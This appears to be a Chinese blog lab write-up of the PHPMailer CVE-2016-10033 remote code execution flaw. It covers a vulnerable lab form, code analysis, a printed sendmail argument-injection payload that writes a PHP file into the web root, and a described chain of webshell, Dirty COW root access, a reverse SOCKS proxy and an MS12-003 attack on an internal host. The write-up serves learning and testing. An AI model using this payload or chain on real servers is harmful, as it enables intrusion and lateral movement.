Web安全 — CVE-2016-10033漏洞

摘要

独立研究人员 Dawid Golunski 发现该漏洞—远程攻击者利用该漏洞,可实现远程任意代码在web服务器上执行,并使web应用陷入威胁中。攻击者主要在常见的web表单如意见反悔表单、注册表单中 ,邮件密码重置表单等使用发送的组建时利用此漏洞。

Web安全 -- CVE-2016-10033漏洞

引言

CVE-2016-10033漏洞背景

独立研究人员 Dawid Golunski 发现该漏洞—远程攻击者利用该漏洞,可实现远程任意代码在web服务器上执行,并使web应用陷入威胁中。攻击者主要在常见的web表单如意见反悔表单、注册表单中 ,邮件密码重置表单等使用发送的组建时利用此漏洞。

漏洞影响的版本 PHPMailer < 5.2.18

环境搭建

模拟如图网络环境

Web安全 -- CVE-2016-10033漏洞

web服务器配置

web服务器的系统为centos7,添加两块网卡。

首先需要安装apache服务和php。

Web安全 -- CVE-2016-10033漏洞

安装sendmail

Web安全 -- CVE-2016-10033漏洞

安装完之后在 /etc/php.ini 添加如下内容

Web安全 -- CVE-2016-10033漏洞

启动web服务

```

service httpd start

```

进入 /var/www/html 目录

```

git clone https://github.com/PHPMailer/PHPMailer

cd PHPMailer

git checkout –b CVE-2016010033 v5.2.17 //获取分支v5.2.17版本

```

新建index.php 文件,内容如下:

```

Vulnerable mail form

<form  action="" method="POST" enctype="multipart/form-data">     <input type="hidden" name="action" value="submit">     Your name:<br>     <input name="name" type="text" value="" size="30"/><br>     Your email:<br>     <input name="email" type="text" value="" size="30"/><br>     Your message:<br>     <textarea name="message" rows="7" cols="30"></textarea><br>     <input type="submit" value="Send email"/> </form> <pre>     <?php         $action=$_REQUEST['action'];         if ($action!=""){             $name=$_REQUEST['name'];             $email=$_REQUEST['email'];             $message=$_REQUEST['message'];             if (($name=="")||($email=="")||($message=="")){                 echo "There are missing fields.";             }else{                       require 'vulnerable/PHPMailerAutoload.php';                 $mail = new PHPMailer;                 $mail->Host = "localhost";                  $mail->setFrom($email, 'Vulnerable Server');                 $mail->addAddress('admin@vulnerable.com', 'Hacker');                 $mail->Subject  = "Message from $name";                 $mail->Body     = $message;                 if(!$mail->send()){                     echo 'Message was not sent.';                     echo 'Mailer error: ' . $mail->ErrorInfo;                 }else{                     echo 'Message has been sent.';                 }             }         }       ?> </pre>  </body>

```

搭建完后如图所示

Web安全 -- CVE-2016-10033漏洞

/etc/sysconfig/network-script/ifcfg-enp0s3,/etc/sysconfig/network-scripts/ifcfg-enp0s8 中dhcp改成static添加

``` BROADCAT=192.168.58.255 NETMASK=255.255.255.0 IPADDR=192.168.58.101

BROADCAST=192.168.86.255 NETMASK=255.255.255.0 IPADDR=192.168.86.101 ```

WIN7主机设置

设置静态IP 192.168.86.102

Web安全 -- CVE-2016-10033漏洞

漏洞分析

PHPMailer class使用了PHP的 mail() 函数来进行邮件发送。在 class.phpmailer.php 文件的 mailSend 函数实现了发送邮件的功能。

mailSend函数部分代码如下

``` protected function mailSend($header, $body) { $toArr = array(); foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = implode(', ', $toArr);

$params = null;     //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver     if (!empty($this->Sender)) {         $params = sprintf('-f%s', $this->Sender);     }     if ($this->Sender != '' and !ini_get('safe_mode')) {         $old_from = ini_get('sendmail_from');         ini_set('sendmail_from', $this->Sender);     }     $result = false;     if ($this->SingleTo and count($toArr) > 1) {         foreach ($toArr as $toAddr) {             $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

```

从github上比较v5.2.17和v5.2.18的版本的mailSend函数

Web安全 -- CVE-2016-10033漏洞

从修改的情况来看,v5.2.18版本增加了使用 validateAddress 函数来检测 $this->Sender 并且使用了 escapeshellarg 函数过滤 $this->Sender ,可见是为了防止注入参数。

跟随 $param$param 作为参数传入了 mailPassthru 函数。

$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

Web安全 -- CVE-2016-10033漏洞

$param 不为空,则传入了 mail 函数。

$param 作为 sendmail 的额外参数,其中 sendmail-X 参数会将流量记录到文件中从而实现RCE。

$this->Sender 的设置在 setFrom 函数中

Web安全 -- CVE-2016-10033漏洞

从该函数中可以看出 $address 通过了 validateAddress 函数的检查后才传入到 $this->Sender

public static function validateAddress($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$validator; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 if (strpos($address, "/n") !== false or strpos($address, "/r") !== false) { return false; } if (!$patternselect or $patternselect == 'auto') { //Check this constant first so it works when extension_loaded() is disabled by safe mode //Constant was added in PHP 5.2.4 if (defined('PCRE_VERSION')) { //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { $patternselect = 'pcre8'; } else { $patternselect = 'pcre'; } } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { //Fall back to older PCRE $patternselect = 'pcre'; } else { //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension if (version_compare(PHP_VERSION, '5.2.0') >= 0) { $patternselect = 'php'; } else { $patternselect = 'noregex'; } } } switch ($patternselect) { case 'pcre8': /** * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains. * @link http://squiloople.com/2009/12/20/email-address-validation/ * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (boolean)preg_match( '/^(?!(?>(?1)"?(?>///[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>///[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>/x0D/x0A)?[/t ])+|(?>[/t ]*/x0D/x0A)?[/t ]+)?)(/((?>(?2)' . '(?>[/x01-/x08/x0B/x0C/x0E-/'*-/[/]-/x7F]|///[/x00-/x7F]|(?3)))*(?2)/)))+(?2))|(?2))?)' . '([!#-/'*+//-9=?^-~-]+|"(?>(?2)(?>[/x01-/x08/x0B/x0C/x0E-!#-/[/]-/x7F]|///[/x00-/x7F]))*' . '(?2)")(?>(?1)/.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)/.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|/[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:/]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>/.(?9)){3}))/])(?1)$/isD', $address ); case 'pcre': //An older regex that doesn't need a recent PCRE return (boolean)preg_match( '/^(?!(?>"?(?>///[ -~]|[^"])"?){255,})(?!(?>"?(?>///[ -~]|[^"])"?){65,}@)(?>' . '[!#-/'*+//-9=?^-~-]+|"(?>(?>[/x01-/x08/x0B/x0C/x0E-!#-/[/]-/x7F]|///[/x00-/xFF]))*")' . '(?>/.(?>[!#-/'*+//-9=?^-~-]+|"(?>(?>[/x01-/x08/x0B/x0C/x0E-!#-/[/]-/x7F]|///[/x00-/xFF]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>/.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|/[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:/]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>/.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))/])$/isD', $address ); case 'html5': /** * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email) */ return (boolean)preg_match( '/^[a-zA-Z0-9.!#$%&/'*+//=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:/.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'noregex': //No PCRE! Do something _very_ approximate! //Check the address is 3 chars or longer and contains an @ that's not the first or last char return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1); case 'php': default: return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL); } }

这个函数根据 PCRE_VERSIONPHP_VERSION 来选择过滤的方式,如果php不支持PCRE(preg_replace函数),php版本小于5.2.0 ,这时会使用 noregex的方式,其判断为

  • 输入长度大于3
  • 含有@
  • @不是最后一个字符

所以只要绕过 validateAddress 函数。这边最简单的绕过条件是PHP版本小于5.2.0并且满足以上三个条件。

CVE 的POC给出了bypass这个函数的方法,经过一些修改后

"<?php phpinfo();?>". -OQueueDirectory=/tmp/. -X/var/www/html/shell.php @swehack.org

打开shell.php后, <?php phpinfo();?> 成功写入shell.php中。

Web安全 -- CVE-2016-10033漏洞

Web安全 -- CVE-2016-10033漏洞

渗透测试

构造一句话进行写入

Web安全 -- CVE-2016-10033漏洞

用菜刀打开

Web安全 -- CVE-2016-10033漏洞

提权

Web安全 -- CVE-2016-10033漏洞

查看内核版本,版本过低,使用 cve-2016-5195(dirtyC0w) 来提权。

上传提权的文件dcow,执行,再通过ssh来连接服务器, ssh root@192.168.58.101 ,密码为 dirtyCowFun

Web安全 -- CVE-2016-10033漏洞

Web安全 -- CVE-2016-10033漏洞

内网渗透

进入linux服务器后 arp 命令,发现了内网段的主机

Web安全 -- CVE-2016-10033漏洞

上传rssocks文件

Web安全 -- CVE-2016-10033漏洞

设置反向代理服务

Web安全 -- CVE-2016-10033漏洞

Web安全 -- CVE-2016-10033漏洞

设置 proxychains/etc/proxychains.conf

Web安全 -- CVE-2016-10033漏洞

使用 nmap 对192.168.86.102 扫描端口

Web安全 -- CVE-2016-10033漏洞

由端口号的特性分析为windows系统。

这边使用ms12_003 IE漏洞来进行攻击内网主机。

使用 msfconsole 来进行攻击。

Web安全 -- CVE-2016-10033漏洞

相关设置如下

Web安全 -- CVE-2016-10033漏洞

Web安全 -- CVE-2016-10033漏洞

设置端口转发

Web安全 -- CVE-2016-10033漏洞

Web安全 -- CVE-2016-10033漏洞

开始攻击

Web安全 -- CVE-2016-10033漏洞

在win7中打开页面

Web安全 -- CVE-2016-10033漏洞

结语

通过本次工程实践学习和锻炼了内网渗透和0day的使用,深深的体会到渗透的魅力,实践是检验真理的唯一标准。

参考文献

标签:代码审计, Web安全 , 渗透测试
Web安全 -- CVE-2016-10033漏洞

作者  :   redBu11